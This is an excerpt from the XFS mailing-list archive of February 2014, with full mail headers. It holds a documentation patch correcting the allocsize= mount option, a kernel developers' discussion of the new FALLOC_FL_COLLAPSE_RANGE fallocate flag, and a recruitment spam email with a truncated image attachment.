(g01jpfmpwkw01.exch.g01.fujitsu.local [10.0.193.38]) by s2.gw.fujitsu.co.jp (Postfix) with ESMTP id 3615B1DB802C for ; Wed, 26 Feb 2014 13:39:08 +0900 (JST) Received: from localhost.localdomain (localhost [127.0.0.1]) by g01jpfmpwkw01.exch.g01.fujitsu.local (Postfix) with ESMTP id EA9F46925A2; Wed, 26 Feb 2014 13:39:07 +0900 (JST) Received: from G01JPEXCHKW16.g01.fujitsu.local (G01JPEXCHKW16.g01.fujitsu.local [10.0.194.55]) by g01jpfmpwkw01.exch.g01.fujitsu.local (Postfix) with ESMTP id 0E232692597; Wed, 26 Feb 2014 13:39:07 +0900 (JST) Received: from [127.0.0.1] (10.124.101.154) by G01JPEXCHKW16.g01.fujitsu.local (10.0.194.55) with Microsoft SMTP Server id 14.3.146.2; Wed, 26 Feb 2014 13:39:06 +0900 X-SecurityPolicyCheck: OK by SHieldMailChecker v2.0.1 X-SHieldMailCheckerPolicyVersion: FJ-ISEC-20120718-4 Message-ID: <530D6FE3.2040406@jp.fujitsu.com> Date: Wed, 26 Feb 2014 13:38:59 +0900 From: sat User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Dave Chinner CC: , Rob Landley Subject: Re: [PATCH] XFS: fix the description of 'allocsize=' mount option References: <530AE0E5.1090707@jp.fujitsu.com> <20140224120629.GN4317@dastard> X-ASG-Orig-Subj: Re: [PATCH] XFS: fix the description of 'allocsize=' mount option In-Reply-To: <20140224120629.GN4317@dastard> Content-Type: text/plain; charset="ISO-8859-1"; format=flowed Content-Transfer-Encoding: 7bit X-SecurityPolicyCheck-GC: OK by FENCE-Mail X-Barracuda-Connect: fgwmail6.fujitsu.co.jp[192.51.44.36] X-Barracuda-Start-Time: 1393389550 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145519 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi Dave, > Actually, it isn't. The initial size of dynamic prealloc is > determined by a set of heuristics based on file size, filesystem > geometry and the existing extents on the file. It uses a default > of 64k if no optimisation heuristics trigger. I see. I should have read the code more carefully. --- From: Satoru Takeuchi Subject: [PATCH] XFS: remove the description about the default value of "allocsize=" mount option The end-of-file preallocation size is dynamic by default. So there is no static default size specified by "allocsize=" mount option and the description about the default size should be removed. Signed-off-by: Satoru Takeuchi Cc: Dave Chinner Cc: Rob Landley --- Documentation/filesystems/xfs.txt | 6 +++--- 1 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Documentation/filesystems/xfs.txt b/Documentation/filesystems/xfs.txt index 5be51fd..5837f0a 100644 --- a/Documentation/filesystems/xfs.txt +++ b/Documentation/filesystems/xfs.txt @@ -23,9 +23,9 @@ default behaviour. allocsize=size Sets the buffered I/O end-of-file preallocation size when - doing delayed allocation writeout (default size is 64KiB). - Valid values for this option are page size (typically 4KiB) - through to 1GiB, inclusive, in power-of-2 increments. + doing delayed allocation writeout. Valid values for this + option are page size (typically 4KiB) through to 1GiB, + inclusive, in power-of-2 increments. The default behaviour is for dynamic end-of-file preallocation size, which uses a set of heuristics to -- 1.7.1 From hughd@google.com Tue Feb 25 22:46:12 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2C10F7F37 for ; Tue, 25 Feb 2014 22:46:12 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 07DA930408A for ; Tue, 25 Feb 2014 20:46:09 -0800 (PST) X-ASG-Debug-ID: 1393389967-04cb6c567544dc0001-NocioJ Received: from mail-pd0-f176.google.com (mail-pd0-f176.google.com [209.85.192.176]) by cuda.sgi.com with ESMTP id CMgtpZ7d0S9DXGzy (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 25 Feb 2014 20:46:07 -0800 (PST) X-Barracuda-Envelope-From: hughd@google.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.192.176 Received: by mail-pd0-f176.google.com with SMTP id r10so423517pdi.7 for ; Tue, 25 Feb 2014 20:46:06 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=date:from:to:cc:subject:in-reply-to:message-id:references :user-agent:mime-version:content-type; bh=1BE0jJE6kJ1N0LC68RNMnzPkM1uwHJeX/SjDWr0VJyU=; b=ebb4HbhZcQ+WCaKpHNSeM16vu0dOZRcCn6fFPlabIBxjKuqsVibGLqGUEYsYaQ/ekC Xo+P867XPi4x/bYPnDx16vkOcdl2mQ/lk0ymBHtnZpy2AbyI7D+8+0C6VL0MUtZxHS4I jCz16PmLH5LvbopboX3KhyvJRQiy7c8aMpSlMDbXm3nbl31q44oBydGQvvmkS0Z6N83I FkDqDEj15oG7XvKEOU8uprdN7YlZMi1RQ96l8euuJgZo8s0i6znYhl0tD7qkx/79KfAk QJJAeFxYr8vi2JXCQ7ZUT9KPf5EjDM3JP7oXhSalqsGPZNm+j06YJXc2fpzADfx7RSg6 Bdsg== X-Barracuda-BBL-IP: nil X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:date:from:to:cc:subject:in-reply-to:message-id :references:user-agent:mime-version:content-type; bh=1BE0jJE6kJ1N0LC68RNMnzPkM1uwHJeX/SjDWr0VJyU=; b=KILudLOJKQjNBcfxPygSX3M1QDl3a3XB7wW9snmDvdPuCyh1k6+Cwy6LsqPJzfVmly qI3NeKV21bweTNLR2QON+6bwxd8RpbskxLXdkUqxR9cab12Y1yjiKWYqmqhqOy3VAmMH iaBzzJk1qrBZzajxZsKpMKsAScPG6NDrBL+tB512dWERR0WNKl6qo/O2YDrq5lH+FuuS fo7cTcHoCnAWgP3kzGl5BkcBngFuDNNaoOquAjPZ/we7OcqOqTA7Yku4Na8TsUu5Uhoq aS4EEEFPlk+wxOlM3+IaVtxA8/LsBRqY0FNDX15Yx+a6AJp0E0nrYfr+AfktEaDxz4L1 Hv5w== X-Gm-Message-State: ALoCoQkJ387kJBiMBmEflQZjvsvu1+qUC2KouUHD1EG2YQ1nY1RlHo1hh6Y0a3+sNSCNy2N2R0QafnU81kHQYoH2YBlCZgT4i37RKL79LLIoWqNrVFQKms8vsaRIxxf+vLyKohCiT+HlTRx1PHZYOb5qirNU1SdORS9ePOCoCT20nennK6hMgARwEKqG9iLIh3KnnlLGrKoo X-Received: by 10.66.217.133 with SMTP id oy5mr6245717pac.46.1393389966736; Tue, 25 Feb 2014 20:46:06 -0800 (PST) Received: from [192.168.148.97] ([216.239.55.193]) by mx.google.com with ESMTPSA id ei4sm16282211pbb.42.2014.02.25.20.46.05 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Tue, 25 Feb 2014 20:46:05 -0800 (PST) Date: Tue, 25 Feb 2014 20:45:15 -0800 (PST) From: Hugh Dickins X-X-Sender: hugh@eggly.anvils To: Dave Chinner cc: Hugh Dickins , Namjae Jeon , Andrew Morton , Matthew Wilcox , Theodore Ts'o , Stephen Rothwell , viro@zeniv.linux.org.uk, bpm@sgi.com, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, lczerner@redhat.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, linux-mm@kvack.org, Namjae Jeon Subject: Re: [PATCH v5 0/10] fs: Introduce new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate In-Reply-To: <20140226011347.GL13647@dastard> X-ASG-Orig-Subj: Re: [PATCH v5 0/10] fs: Introduce new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate Message-ID: References: <1392741436-19995-1-git-send-email-linkinjeon@gmail.com> <20140224005710.GH4317@dastard> <20140225141601.358f6e3df2660d4af44da876@canb.auug.org.au> <20140225041346.GA29907@dastard> <20140226011347.GL13647@dastard> User-Agent: Alpine 2.11 (LSU 23 2013-08-11) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Barracuda-Connect: mail-pd0-f176.google.com[209.85.192.176] X-Barracuda-Start-Time: 1393389967 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145519 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Wed, 26 Feb 2014, Dave Chinner wrote: > On Tue, Feb 25, 2014 at 03:23:35PM -0800, Hugh Dickins wrote: > > On Tue, 25 Feb 2014, Dave Chinner wrote: > > > On Tue, Feb 25, 2014 at 02:16:01PM +1100, Stephen Rothwell wrote: > > > > On Mon, 24 Feb 2014 11:57:10 +1100 Dave Chinner wrote: > > > > > > > > > > > Namjae Jeon (10): > > > > > > fs: Add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate > > > > > > xfs: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate > > > > > > > > > > I've pushed these to the following branch: > > > > > > > > > > git://oss.sgi.com/xfs/xfs.git xfs-collapse-range > > > > > > > > > > And so they'll be in tomorrow's linux-next tree. > > > > > > > > > > > ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate > > > > > > > > > > I've left this one alone for the ext4 guys to sort out. > > > > > > > > So presumably that xfs tree branch is now completely stable and so Ted > > > > could just merge that branch into the ext4 tree as well and put the ext4 > > > > part on top of that in his tree. > > > > > > Well, for some definition of stable. Right now it's just a topic > > > branch that is merged into the for-next branch, so in theory it is > > > still just a set of pending changes in a branch in a repo that has > > > been pushed to linux-next for testing. > > > > > > That said, I don't see that branch changing unless we find bugs in > > > the code or a problem with the API needs fixing, at which point I > > > would add more commits to it and rebase the for-next branch that you > > > are pulling into the linux-next tree. > > > > > > Realistically, I'm waiting for Lukas to repost his other pending > > > fallocate changes (the zero range changes) so I can pull the VFS and > > > XFS bits of that into the XFS tree and I can test them together > > > before I'll call the xfs-collapse-range stable and ready to be > > > merged into some other tree... > > > > Thank you, Namjae and Dave, for driving this; and thank you, Ted and > > Matthew, for raising appropriate mmap concerns (2013-7-31 and 2014-2-2). > > I was aware of this work in progress, but only now found time to look. > > > > I've not studied the implementation, knowing too little of ext4 and > > xfs; but it sounds like the approach you've taken, writing out dirties > > and truncating all pagecache from the critical offset onwards, is the > > sensible approach for now - lame, and leaves me wondering whether an > > offline tool wouldn't be more appropriate; but a safe place to start > > if we suppose it will be extended to handle pagecache better in future. > > Offline? You mean with the filesystem unmounted, or something else? "Something else": which I don't expect you to leap into implementing. > > > Of course I'm interested in the possibility of extending it to tmpfs; > > which may not be a worthwhile exercise in itself, except that it would > > force us to face and solve any pagecache/radixtree issues, if possible, > > thereby enhancing the support for disk-based filesystems. > > > > I doubt we should look into that before Jan Kara's range locking mods > > arrive, or are rejected. As I understand it, you're going ahead with > > this, knowing that there can be awkward races with concurrent faults - > > more likely to cause trinity fuzzer reports, than interfere with daily > > usage (trinity seems to be good at faulting into holes being punched). > > Yes, the caveat is that the applications that use it (TVs, DVRs, NLE > applications, etc) typically don't use mmap for accessing the data > stream being modified. Further, it's much less generally useful than > holepunching, so when these two are combined, the likely exposure to > issues resulting from mmap deficiencies are pretty damn low. Agreed, but we do want to define how the interaction behaves, we want it to be the same across all filesystems supporting COLLAPSE_RANGE, and we don't want it to lead to system crashes or corruptions. > > > That's probably the right pragmatic decision; but I'm a little worried > > that it's justfied by saying we already have such races in hole-punch. > > Collapse is significantly more challenging than either hole-punch or > > truncation: the shifting of pages from one offset to another is new, > > and might present nastier bugs. > > Symptoms might be different, but it's exactly the same problem. i.e. > mmap_sem locking inversions preventing the filesystem from > serialising IO path operations like hole punch, truncate and other > extent manipulation operations against concurrent page faults > that enter the IO path. That may (may) be true of the current kick-everything-out-of-pagecache approach. But in general I stand by "Collapse is significantly more challenging". Forgive me if that amounts to saying "Hey, here's a more complicated way to do it. Ooh, this way is more complicated." The concept of moving a page from one file offset to another is new, and can be expected to pose new difficulties. > > > Emphasis on "might": I expect it's impossible, given your current > > approach, but something to be on guard against is unmap_mapping_range() > > failing to find and unmap a pte, because the page is mapped at the > > "wrong" place in the vma, resulting in BUG_ON(page_mapped(page)) > > in __delete_from_page_cache(). > > Unmapping occurs before anything is shifted. And even if a fault > does occur before the file size changes at the end of a collapse > range operation (via the truncate path), the page in the page cache > won't be moved about so I don't see how the above problem could > occur. All that will happen is that you get the wrong data in the > mmap()d page, just like you will with hole_punch issues. I think you're probably right. I expect that attempting to fault a page back from disk while collapse is shifting down, will hit a mutex and wait. But that's liable to differ from filesystem to filesystem, so I'm not certain. > > > One thing that is slightly wrong in what you have right now, is your > > use of truncate_pagecache_range(): you'll need to add an "even_cows" > > arg to that (or make it a wrapper to a __truncate_pagecache_range() > > taking additional "even_cows" arg). That arg governs what is done > > with anonymous COW'ed pages in a MAP_PRIVATE mmap of the file. > > > > Truncation is required by spec to unmap them; hole punching was up > > to us to spec, did not unmap them originally (because there was no > > preliminary call to unmap_mapping_range(), so it happened to rely > > on the inefficient fallback within truncate_inode_page()), and that > > seemed fine because, why discard a user's data unnecessarily? > > I don't see there being a problem here - it's the same case as hole > punch. And when we change the file size after shifting extents we > are doing a truncate so that will behave as expected w.r.t. > anonymous COW'ed pages in a MAP_PRIVATE mmap of the file. No, it's only the same case as hole punch, up to a point. > > > But your case is different: collapse is much closer to truncation, > > and if you do not unmap the private COW'ed pages, then pages left > > behind beyond the EOF will break the spec that requires SIGBUS when > > touching there, and pages within EOF will be confusingly derived > > from file data now belonging to another offset or none (move these > > pages within the user address space? no, I don't think anon_vmas > > would allow that, and there may be no right place to move them). > > See above - we never leave pages beyond the new EOF because setting > the new EOF is a truncate operation that calls > truncate_setsize(inode, newsize). Right, thanks, I now see the truncate_setsize() in the xfs case - though not in the ext4 case, which looks as if it's just doing an i_size_write() afterwards. Yes, truncate_setsize() at the end should answer my SIGBUS objection. And with that out of the way, although I don't particularly care for the weirdness of private COW'ed pages becoming associated with file offsets they never originated from, I don't think I could argue with you when you tell me "well, that's the weirdness you get from mixing COLLAPSE_RANGE with MAP_PRIVATE mmaps". Looks like there's no need for the __truncate_pagecache_range() with even_cows arg that I was advocating: we just need ext4 to truncate properly at the end, and document the disassociated private pages. > > > It's clear that the right and easy thing to do is just to unmap > > them (all of them, from critical offset to EOF), in the rare case > > of there being any such pages. Whether this detail needs to be > > mentioned in the man page (I don't like throwing away a user's > > data without warning) I'm not sure, Michael can judge. > > > > FALLOC_FL_COLLAPSE_RANGE: I'm a little sad at the name COLLAPSE, > > but probably seven months too late to object. It surprises me that > > you're doing all this work to deflate a part of the file, without > > the obvious complementary work to inflate it - presumably all those > > advertisers whose ads you're cutting out, will come back to us soon > > to ask for inflation, so that they have somewhere to reinsert them ;) > > The name makes no difference to me - it's a filesystem offload > function of a very specific nature. If we require the opposite > behaviour - inserting unwritten extents after shifting the data up > out of the way - then we can just add a new FALLOC_FL_INSERT_RANGE > command to do that. > > But in the absence of anyone needing such functionality, the > complexity of implementing it is not worth the effort. Yes, it's not a requirement that it be implemented immediately. > > > I should mention that when "we" implemented this thirty years ago, > > we had a strong conviction that the system call should be idempotent: > > that is, the len argument should indicate the final i_size, not the > > amount being removed from it. Now, I don't remember the grounds for > > that conviction: maybe it was just an idealistic preference for how > > to design a good system call. I can certainly see that defining it > > that way round would surprise many app programmers. Just mentioning > > this in case anyone on these lists sees a practical advantage to > > doing it that way instead. > > I don't see how specifying the end file size as an improvement. What > happens if you are collapse a range in a file that is still being > appended to by the application and so you race with a file size > update? IOWs, with such an API the range to be collapsed is > completely unpredictable, and IMO that's a fundamentally broken API. That's fine if you don't see the idempotent API as an improvement, I just wanted to put it on the table in case someone does see an advantage to it. But I think I'm missing something in your race example: I don't see a difference between the two APIs there. > > > I see you've included xfstests and xfs_io updates, nice. Did you > > realize that util-linux has a /usr/bin/fallocate? I hope someone > > will update that too. > > I don't care about /usr/bin/fallocate - I've never used it in my > life because xfs_io exists on all my systems and is way more > powerful and useful to me than /usr/bin/fallocate. Regardless, > I think someone posted patches for it yesterday. Your scorn is noted: yes, it is pretty simple, but I'm glad to hear Dongsu is attending to it. Hugh From vietnamrecruitment786@gmail.com Tue Feb 25 23:20:45 2014 Return-Path: X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 37F777F37 for ; Tue, 25 Feb 2014 23:20:45 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0DAE930407F for ; Tue, 25 Feb 2014 21:20:41 -0800 (PST) X-ASG-Debug-ID: 1393392037-04cb6c567846050001-NocioJ Received: from mail-we0-f195.google.com (mail-we0-f195.google.com [74.125.82.195]) by cuda.sgi.com with ESMTP id CBmiduOsXpYyEtF0 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 25 Feb 2014 21:20:38 -0800 (PST) X-Barracuda-Envelope-From: vietnamrecruitment786@gmail.com X-Barracuda-Apparent-Source-IP: 74.125.82.195 Received: by mail-we0-f195.google.com with SMTP id q58so356913wes.6 for ; Tue, 25 Feb 2014 21:20:37 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=r3NGsjRxnR4NAq44xxi6W9sOfX/McvPjhY9cpTd3AZw=; b=y+NaO94grI6t4P15uBSqoFji0oEZbAW5L9/4E39xAbpoawTGO8+2FCoGV74YASHi43 hXBCYoCuaQjyF9z6EArTxug2h0b84hurgMYAVpDUmcbqIP/93/bYgYT/DIdSmg610cgk ZyubpSle6JrCXjY/2t6/OK57T139+COr+PB7I/dCp2cFbwA8FV2lHD2LZkzYXt/LTLPe 8AXLhPRa2w9tKQo2ZzuD35oFAXfwwskmxLzUW/o2LQbI6WEQmlaZagtIU4u1vUkECTOH 0zdmqWIhvcq4hCQfknSFaYzh6PaVVyniG1yh5vubgeG6T1KBHoSM3ufQELQq15LLvxZ/ Cbsw== MIME-Version: 1.0 X-Received: by 10.181.12.9 with SMTP id em9mr6230132wid.37.1393392037196; Tue, 25 Feb 2014 21:20:37 -0800 (PST) Received: by 10.194.59.112 with HTTP; Tue, 25 Feb 2014 21:20:36 -0800 (PST) Date: Wed, 26 Feb 2014 11:50:36 +0630 Message-ID: Subject: Manpower Recruitment from Vietnam From: Vietnam Recruitment X-ASG-Orig-Subj: Manpower Recruitment from Vietnam To: undisclosed-recipients:; Content-Type: multipart/mixed; boundary=f46d043c7b886a2d0e04f3485dfb X-Barracuda-Connect: mail-we0-f195.google.com[74.125.82.195] X-Barracuda-Start-Time: 1393392038 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Barracuda-BRTS-Evidence: 05937753ed586b0c01671575c440c7cd-2049-txt X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: -1001.00 X-Barracuda-Spam-Status: No, SCORE=-1001.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 --f46d043c7b886a2d0e04f3485dfb Content-Type: multipart/alternative; boundary=f46d043c7b886a2d0a04f3485df9 --f46d043c7b886a2d0a04f3485df9 Content-Type: text/plain; charset=ISO-8859-1 Attn : General Manager Cc : Human Resources Manager Dear Sir / Ma'am, Greetings from Hanoi, Vietnam!!! We, warmly welcome you to Future Placement Services Co., Ltd. the most professional and reliable manpower recruitment agency based in Hanoi, the commercial capital of Vietnam, and is a wholly owned subsidiary of Viet Thang International Development Corporation registered under the Ministry of Labor War Invalid and Social Affairs. The principle objectives of our company are to facilitate the services of Vietnamese work force worldwide by accessing employment opportunities for them. We have a nation wide recruitment network and in-house testing facilities with all modern equipments where at one time can check around 200 construction workers and 60 welders. Having trusted reputation and extensive experience in recruitment for the last many years, we have the expertise to source what ever positions required. Our specialization is in supplying professionals, skilled, semi - skilled and unskilled workers. We have a separate division to source personals to work for oil, gas & petrochemical industry. Our success is based solidly on the ability to understand your manpower needs, and together with our highly qualified staff, comprising of high ranking engineers and technicians we out perform in sourcing the best quality of personnel's required to meet and exceed the clients highest expectation. We would like to be of service to you and will take pride in adding your name to the long list of our prestigious client's. We are just a click away from you, email to us your manpower needs and we will be more than pleased to assist you in your recruitment. Best Regards, *Nguyen Van Thanh* *Managing Partner* *Future Placement Svc's Co., Ltd.* * (Subsidiary of VTC Corp)* *P.O. Box: 406, Hanoi, Vietnam* *Tel : + 84 4 3540 1625* *Fax : + 84 4 3872 7250* *Mob : + 84 902 886 681 * *Email : vietnamrecruit786@gmail.com * --f46d043c7b886a2d0a04f3485df9 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable

Attn  &nb= sp;  : General Manager

Cc   = ;    : Human Resources Manager

 

 

Dear Sir / Ma’am,

 

Greetings from Hanoi, Vietnam!!!

 

We, warmly welcome you to Future Placement Services Co., Ltd. the most professi= onal and reliable manpower recruitment agency based in Hanoi, the commercial cap= ital of Vietnam, and is a wholly owned subsidiary of Viet Thang International Development Corporation registered under the Ministry of Labor War Invalid = and Social Affairs.

 

The principle objectives of our company are to facilitate the services of Vietnamese work force worldwide by accessing employment opportunities for t= hem.

 

We have a nation wide recruitment network and in-house testing facilities with= all modern equipments where at one time can check around 200 construction worke= rs and 60 welders.

 

Having trusted reputation and e= xtensive experience in recruitment for the last many years, we have the expertise to source what ever positions required.

 

Our specialization is in supply= ing professionals, skilled, semi – skilled and unskilled workers.

 

We have a separate division to = source personals to work for oil, gas & petrochemical industry.

 

Our success is based solidly on= the ability to understand your manpower needs, and together with our highly qualified staff, comprising of high ranking engineers and technicians we ou= t perform in sourcing the best quality of personnel's required to meet an= d exceed the clients highest expectation. 

 

We would like to be of service = to you and will take pride in adding your name to the long list of our prestigious client's. 

   &= nbsp;

We are just a click away from y= ou, email to us your manpower needs and we will be more than pleased to assist = you in your recruitment.

 

 

Best Regards,

 

Nguyen = Van Thanh

Managin= g Partner

 

Future = Placement Svc's Co., Ltd.

 &nbs= p;           (Subsidiary of VTC Corp)

P.O. Box: 406, Hanoi, Vietnam

Tel &= nbsp;    : + 84 4 3540 1625

Fax &= nbsp;    : + 84 4 3872 7250

Mob &= nbsp;  : + 84 902 886 681

Email = ; : vietnamrecruit786= @gmail.com

--f46d043c7b886a2d0a04f3485df9-- --f46d043c7b886a2d0e04f3485dfb Content-Type: image/jpeg; name="image.jpg" Content-Disposition: attachment; filename="image.jpg" Content-Transfer-Encoding: base64 X-Attachment-Id: f_hs45lnyv0 /9j/4AAQSkZJRgABAgEBLAEsAAD/4QycRXhpZgAATU0AKgAAAAgACAESAAMAAAABAAEAAAEaAAUA AAABAAAAbgEbAAUAAAABAAAAdgEoAAMAAAABAAIAAAExAAIAAAAcAAAAfgEyAAIAAAAUAAAAmgE7 AAIAAAAFAAAArodpAAQAAAABAAAAtAAAAOAALcbAAAAnEAAtxsAAACcQQWRvYmUgUGhvdG9zaG9w IENTMyBXaW5kb3dzADIwMTE6MTI6MTMgMTE6MTQ6NTYAVXNlcgAAAAOgAQADAAAAAQABAACgAgAE AAAAAQAAAQygAwAEAAAAAQAAADEAAAAAAAAABgEDAAMAAAABAAYAAAEaAAUAAAABAAABLgEbAAUA AAABAAABNgEoAAMAAAABAAIAAAIBAAQAAAABAAABPgICAAQAAAABAAALVgAAAAAAAABIAAAAAQAA AEgAAAAB/9j/4AAQSkZJRgABAgAASABIAAD/7QAMQWRvYmVfQ00AAf/uAA5BZG9iZQBkgAAAAAH/ 2wCEAAwICAgJCAwJCQwRCwoLERUPDAwPFRgTExUTExgRDAwMDAwMEQwMDAwMDAwMDAwMDAwMDAwM DAwMDAwMDAwMDAwBDQsLDQ4NEA4OEBQODg4UFA4ODg4UEQwMDAwMEREMDAwMDAwRDAwMDAwMDAwM DAwMDAwMDAwMDAwMDAwMDAwMDP/AABEIAB0AoAMBIgACEQEDEQH/3QAEAAr/xAE/AAABBQEBAQEB AQAAAAAAAAADAAECBAUGBwgJCgsBAAEFAQEBAQEBAAAAAAAAAAEAAgMEBQYHCAkKCxAAAQQBAwIE AgUHBggFAwwzAQACEQMEIRIxBUFRYRMicYEyBhSRobFCIyQVUsFiMzRygtFDByWSU/Dh8WNzNRai soMmRJNUZEXCo3Q2F9JV4mXys4TD03Xj80YnlKSFtJXE1OT0pbXF1eX1VmZ2hpamtsbW5vY3R1dn d4eXp7fH1+f3EQACAgECBAQDBAUGBwcGBTUBAAIRAyExEgRBUWFxIhMFMoGRFKGxQiPBUtHwMyRi 4XKCkkNTFWNzNPElBhaisoMHJjXC0kSTVKMXZEVVNnRl4vKzhMPTdePzRpSkhbSVxNTk9KW1xdXl 9VZmdoaWprbG1ub2JzdHV2d3h5ent8f/2gAMAwEAAhEDEQA/AOr+sl+FltdW7LZjjG3eo6121oO4 And/Jc301gZGN1FuHlYm19eJcWXMeaLHOc9uxjGst9RlP2d79n6d6wPrB1G3M6j1Cix59GnMsNbX wdpFj6LHezZ7HtbsZV+Yoftr7N0yrGqhjq4LbAJc2Hb9jHbvo/uV/mJpA62kRVl4V1Vr2ZAdTYyC WmdJ9zf89vuUcjByMNza8jaLHNFga2xr4a7jd6L37H/yXKWXnWXVszH2eptY2Rq4GOBtduds3f4P 6C178TG6h0gury8cZPTa3WPOxlVtwI3Nx6qseyxvpuedldn+k/wabXQfRddOEZGgJDu2v46LT6dl 3Y3Ud4O3a9rXRpw1o/s/SWx036hjN6Zj5P20tyLWCwsDWPqaSJdTurd7vTd7H2Vv9NU39Fy8DJGL msDX7y9padzXM+hXY0/u7G/nfzaIgbFjdbKQovX/ALUoZjfaLnQ0DgauJ/drr/Ocs9xy+p+/qFzM HCe9raMB79hsdwz7Vaxu5zbXWN/Vv9IqzWMYBAJ28cLP6ve4Mr9Z5bVTfVfUxgDnu2b/AFa2sP8A Neo70/09jlJk5EQ9Ql6Td/1ewWjmCdCNdPqrqdnXOp3uw8St9PT6S5lgw7KrbS5vs9Nn2ayxrb2f 6K308bF/wqoWXt6c37O2jdY3cwYzmuGPS2z2OpNlgbd1HMsf78nL/wANb/hfQ9ihWG51u3JLMfEL y99NbSe+97HX1s3u3bt93+ifZ9otWj1TrOF0qo14uTkuuLg+qbYG386vY79E1n7l2z6CiEccfSAa /wAb/GXes6kj8nOfVcwPyOo3w6sBpDnDa0fmtd6c11M1/RY9H8+gNuzOpWtay1+N0zdsdc8/pL3N 932bEYx3u2t+kz+Zp/7Vf4OlDz2PzMinK6j6luO4A4PTmMrosuJ925zcJz2U4vu/SZzv1q6v9FV/ wdwv+yOa7O213uYGVitoZVTX+bi47P8AAVN+l/wn+E/SKSMSdz9StlIVp+DvVV32tf6Nb7BUBv2A v2j+WWINuSK27iSRE6Tx4qx0nAyn9MuyMduO+pzT6ZtNoe4j3O9L0HNb9H+b9vqPsQs/GxKaD6tl zGiA+uyoNv2bN+6um0+u73+zeyv0PzP55W5cz80RpIfL/WYvZlQlXFHrw68P9/8AdcLM65ZB2PO0 naGztcT/AORVA9VzT9F58I38E+f5y0eq9Bpx8Wu7CvfmPyQ1zaQ0utbU4c3emxrqN3/CV/8ABrAv 9BjNu0i6shr98jb/ACG1OG7cqcpTkfUSSyCIGwbT83N2bXWWOcDIc1zoA/Oa4A/o0fDzOqZl9eHh F12Vc7ZU0PdqR7p+l9BsfpbHfzX56yabXveK663W3WkVsrZ7nPe72tY1h/nLH/mredk0/VyuzC2M y+qZDCzqFpdLa2n/ALzq7KS3cxkf5Q9O2v7Rf+g+hWkAe6a8Er7+k9N9e1+X+2sit7WAi+7Gx2uJ cy2rHbVb6nUfSc39Ld7MWur+WrDuv5jKCaaqMRxbL68VgFgiNv6e/wBe3b+/6b/T/cXKW5FeRebs mQ0/SNYY2AB9GqsBlNdbP9Gxq6bpuHijAGKyXkMdZ9nsll0sDr23U2j0vSfvs/TYr/0np/6ZI/Yk B//QHm4DD1bLJZV6duTfqWge82vPu9T99QyegUWCbWNBH+FAaAD/ACtWq9lfZft2bBx932i76X0t 3qPj6X529Gp2jCrGWMhztn6c2EtJP5+5o9T/AKDkxOrz1n1avAc3EfyNazAb/WFrjtVOvHZXRfi5 